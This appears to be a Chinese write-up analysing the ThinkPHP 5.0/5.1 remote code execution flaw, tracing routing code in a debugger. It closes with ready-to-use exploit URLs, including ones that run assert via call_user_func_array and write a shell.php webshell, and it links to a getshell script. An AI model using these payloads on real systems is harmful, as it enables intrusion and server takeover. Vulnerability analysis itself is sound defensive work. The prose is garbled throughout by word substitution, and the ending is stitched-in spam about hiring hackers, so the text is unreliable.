ThinkPHP是为了简化企业级运用开发和灵敏WEB运用开发而诞生的,在坚持超卓的功能和至简代码的一起,也重视易用性。
可是简练易操作也会呈现缝隙,之前ThinkPHP官方修正了一个严峻的长途代码履行缝隙。
这个缝隙的首要原因是由于结构对控制器名没有进行满足的校验导致在没有敞开强制路由的状况下能够结构歹意句子履行长途指令,受影响的版别包括5.0和5.1版别。
那么今日i春秋用动态剖析法来介绍长途代码履行,一起还能快速了解整个履行进程和一些变量参数,文章阅览用时约7分钟。
01环境程序源码下载:http://www.thinkphp.cn/download/967.htmlWeb环境:Windows 10 x64+PHPStudy 20018调试东西:phpstorm+xdebug(用vscode也能够,我比较习惯用phpstorm)由于我是从头剖析到尾,所以要在设置里边勾上Break at first line in PHP script建立就不多说了,放源码在根目录然后phpstudy发动!02缝隙复现其实有许多运用的当地,到后边剖析完再说。
03缝隙剖析由于是从开端剖析,也比较合适新手,就不演示去下某个断点了,假如有不明白的你们也能够在不明白的当地下一个断点然后持续剖析(记住去掉Break at first line in PHP script再下断点)。
有些不是要点的直接F7或许F8走下去,F7跟进Facade:到App.php初始化的当地,持续F8往下面走:到routeCheckF7跟进去:到这儿F7持续跟进去:有些没有必要的函数就直接F8跳过去,到pathinfo( )这儿F7跟进去:咱们能够剖析一下这个·pathinfo函数的代码$this->config->get('var_pathinfo')这一句是从配置文件config/app.php获取的值:当恳求报文包括$_GET['s'],就取其值作为pathinfo,并回来pathinfo给调用函数,所以咱们可运用$_GET['s']来传递路由信息。
public function pathinfo() { if (is_null($this->pathinfo)) { if (isset($_GET[$this->config->get('var_pathinfo')])) { // 判别URL里边是否有兼容方式参数 $_SERVER['PATH_INFO'] = $_GET[$this->config->get('var_pathinfo')]; unset($_GET[$this->config->get('var_pathinfo')]); } elseif ($this->isCli()) { // CLI方式下 index.php module/controller/action/params/... $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : ''; } // 剖析PATHINFO信息 if (!isset($_SERVER['PATH_INFO'])) { foreach ($this->config->get('pathinfo_fetch') as $type) { if (!empty($_SERVER[$type])) { $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ? substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type]; break; } } } $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/'); } return $this->pathinfo; }能够看到return $this->pathinfo;回来的内容:F7走,能够看到$pathinfo赋值给$this->path:F7走到check的函数,假如敞开了强制路由则会抛出反常,也便是说该缝隙在敞开强制路由的状况下不受影响,可是默许是不敞开的。
后边看到实例化了UrlDispatch目标,将$url传递给了结构函数。
再持续剖析下去,中心有些不必要的直接F8走过就行了。
能够看到将$url传递给了$action。
F7走下去,跳回了App.php,能够看到$dispatch回来来的值代入dispatch办法。
F7走进去,能够看到传入的$dispatch赋值给了$this->dispatch,不过现在剖析这个版别是有改动的,有些版别是在这儿用dispatch代入下面会剖析到的parseUrl办法,这个版别的是用$this->action来parseUrl办法的,持续剖析下去,下面会剖析到的。
F7又回来了App.php的文件,能够看到履行调度这儿$data = $dispatch->run( );,咱们F7跟进去。
这儿便是上面所说的,$url是由thinkphp/library/think/route/Dispatch.php里边的$this->action = $action;传过来的。
咱们F7持续剖析parseUrl办法,然后F8走到这儿。
F7进到这个parseUrlPath办法里边,用/来切割[模块/控制器/操作]并存到$path数组里边。
private function parseUrlPath($url) { // 分隔符替换 保证路由界说运用一致的分隔符 $url = str_replace('|', '/', $url); $url = trim($url, '/'); $var = []; if (false !== strpos($url, '?')) { // [模块/控制器/操作?]参数1=值1&参数2=值2... $info = parse_url($url); $path = explode('/', $info['path']); parse_str($info['query'], $var); } elseif (strpos($url, '/')) { // [模块/控制器/操作] $path = explode('/', $url); } elseif (false !== strpos($url, '=')) { // 参数1=值1&参数2=值2... parse_str($url, $var); } else { $path = [$url]; } return [$path, $var]; }中心的持续F8往下走,回来的$route数组持续往下走,F7进去。
能够看到:thinkphp/library/think/route/Dispatch.php类这儿的$this->action的值变了。
持续会走到:thinkphp/library/think/route/dispatch/Module.php,能够看到$this->action赋值给了$result。
F8往下走,走到实例化控制器,这儿的$controller是可控的,是由上面的$result[1]传过来的。
F7跟进去,当$name存在反斜杠时就直接将$name赋值给$class并回来。
攻击者经过控制输入就能够控制类的实例化进程,然后形成代码履行缝隙。
下面便是调用反射履行类的进程了:也能够往下看,这儿是经过invokeMethod 函数动态调用办法的当地,能够看到$class是thinkRequset的类,$method是input。
后边便是把内容输出到浏览器的进程了04缝隙剖析回忆开端咱们剖析pathinfo( )函数的时分得知能够用s来获取路由信息parseUrlPath办法用来切割[模块/控制器/操作]格局在后边传入$controller的时分,便是开端咱们获取到路由的值,可是用反斜杠就最初,便是想要实例化的类。
最终是反射函数,调用了input办法履行phpinfo( )一定是要Request类里边的input办法来履行吗?不一定,视版别而决议。
以下是先知大神分类出来的5.1是下面这些:thinkLoader ComposerAutoloadComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561thinkError thinkContainerthinkApp thinkEnv thinkConfig thinkHook thinkFacadethinkfacadeEnvenvthinkDbthinkLang thinkRequest thinkLog thinklogdriverFilethinkfacadeRouteroutethinkRoute thinkrouteRulethinkrouteRuleGroupthinkrouteDomainthinkrouteRuleItemthinkrouteRuleNamethinkrouteDispatchthinkroutedispatchUrlthinkroutedispatchModulethinkMiddlewarethinkCookiethinkViewthinkviewdriverThinkthinkTemplatethinktemplatedriverFilethinkSessionthinkDebugthinkCachethinkcacheDriverthinkcachedriverFile5.0 的有:thinkRoutethinkConfigthinkErrorthinkAppthinkRequestthinkHookthinkEnvthinkLangthinkLogthinkLoader两个版别公有的是:thinkRoute thinkLoader thinkError thinkApp thinkEnv thinkConfig thinkHook thinkLang thinkRequest thinkLog5.1.x php版别>5.5:http://127.0.0.1/index.php?s=index/thinkrequest/input?data[]=phpinfo()&filter=asserthttp://127.0.0.1/index.php?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1http://127.0.0.1/index.php?s=index/thinktemplatedriverfile/write?cacheFile=shell.php&content=5.0.x php版别>=5.4:http://127.0.0.1/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()这儿也不写getshell的python脚本了 ,能够参阅:https://github.com/theLSA/tp5-getshell05补丁剖析下面是针对5.0和5.1的补丁,添加了正则过滤,导致无法再传入thinkapp这种方式的控制器。
以上是今日的内容,我们看懂了吗?0,搜索}
客户端参数-c <server>客户端形式,衔接到服务器指定的称号或IP
self.key = key ?-->微博上怎么找黑客,黑客怎么黑 *** 网站,黑客短信知道 *** 密码
shareInfo: { groupId: 6529701681679041037, has_extern_link: 0>dirbuster「微博上怎么找黑客,黑客怎么黑 *** 网站,黑客短信知道 *** 密码」微博上怎么找黑客,黑客怎么黑 *** 网站
这篇文章不知道能不能发出来,写了再说。